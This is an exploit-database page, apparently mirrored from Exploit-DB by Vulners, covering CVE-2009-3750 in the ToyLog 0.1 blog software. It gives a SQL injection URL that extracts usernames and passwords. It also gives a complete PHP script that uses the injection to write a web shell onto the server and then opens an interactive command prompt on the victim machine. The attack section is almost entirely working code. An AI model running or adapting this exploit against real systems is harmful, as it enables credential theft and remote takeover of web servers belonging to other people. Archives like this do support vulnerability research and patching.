Lucene search
+L

ToyLog 0.1 - SQL Injection / Remote Code Execution

🗓️ 10 Jul 2009 00:00:00Reported by darkjokerType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 26 Views

ToyLog 0.1 SQL Injection / Remote Code Executio

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2009-3750
10 Jul 200900:00
circl
cve
CVE
CVE-2009-3750
22 Oct 200917:00
cve
cvelist
Cvelist
CVE-2009-3750
22 Oct 200917:00
cvelist
euvd
EUVD
EUVD-2009-3722
7 Oct 202500:30
euvd
nvd
NVD
CVE-2009-3750
22 Oct 200917:30
nvd
prion
Prion
Sql injection
22 Oct 200917:30
prion
--+++=====================================================================================+++--
--+++====== ToyLog 0.1 SQL Injection Vulnerability/Remote Command Execution Exploit ======+++--
--+++=====================================================================================+++--

[+] SQL Injection Vulnerability
Url: http://localhost/ToyLog/read.php?idm=1%20UNION%20ALL%20SELECT%201,username,password,4%20FROM%20user

[+] Remote Command Execution Exploit

#!/usr/bin/php
<?php

function usage () {
	exit (	"\n".
		"+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n".
		"-                                                   -\n".
		"+ ToyLog 0.1 Remote Command Execution Exploit       +\n".
		"- Author  : darkjoker                               -\n".
		"+ Site    : http://darkjoker.net23.net              +\n".
		"- Download: http://sourceforge.net/projects/toylog/ -\n".
		"+ Usage   : php xpl.php <url>                       +\n".
		"- Ex.     : php xpl.php http://localhost/ToyLog/    -\n".
		"+                                                   +\n".
		"-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\n".
		"\n");
}

function hex_format ($string) {
	$i=0;
	while ($i<strlen($string))
		$hex .= "%".dechex(ord($string[$i++]));
	return $hex;
}

function get_path ($host, $dir) {
	$fp = fsockopen ($host, 80);
	$query = hex_format ("1 UNION ALL SELECT * FROM does_not_exist");
	$req =	"GET {$dir}read.php?idm={$query} HTTP/1.1\r\n".
		"Host: {$host}\r\n".
		"Connection: Close\r\n\r\n";
	fputs ($fp, $req);
	while (!feof ($fp))
		if (preg_match ("|resource in <b>(.+?)</b> on|", fgets ($fp, 1024), $data))
			$path = $data [1];
	list ($path) = explode ("block/db.php", $path);
	fclose ($fp);
	return $path;
}

function upload_shell ($host, $dir) {
	$fp = fsockopen ($host, 80);
	$shell_path = get_path ($host, $dir)."shell.php";
	if (!strcmp ($shell_path, "shell.php"))
		die ("[-] Exploit failed.\n");
	$query = hex_format('1 UNION ALL SELECT 1,2,\'xxx<?php system (stripslashes($_GET[\\\'cmd\\\'])); ?>xxx\',4 INTO OUTFILE \''.$shell_path.'\' FROM post');
	$req =	"GET {$dir}read.php?idm={$query} HTTP/1.1\r\n".
		"Host: {$host}\r\n".
		"Connection: Close\r\n\r\n";
	fputs ($fp, $req);
	fclose ($fp);
}

if (!preg_match ("|http://(.+?)(/.+/)|", $argv [1], $data))
	usage ();
array_shift ($data);
list ($host, $dir) = $data;
upload_shell ($host, $dir);
$stdin = fopen ("php://stdin", "r");
while (1) {
	echo "backdoor@{$host}: ";
	$cmd = hex_format(trim (fgets ($stdin, 1024)));
	if (!strcmp ($cmd, hex_format("exit")))
		break;
	$out = explode ("xxx", file_get_contents ("http://{$host}{$dir}shell.php?cmd={$cmd}"));
	array_shift ($out);
	array_pop ($out);
	echo $out [0];
}

?>

# milw0rm.com [2009-07-10]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2009 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.0101
26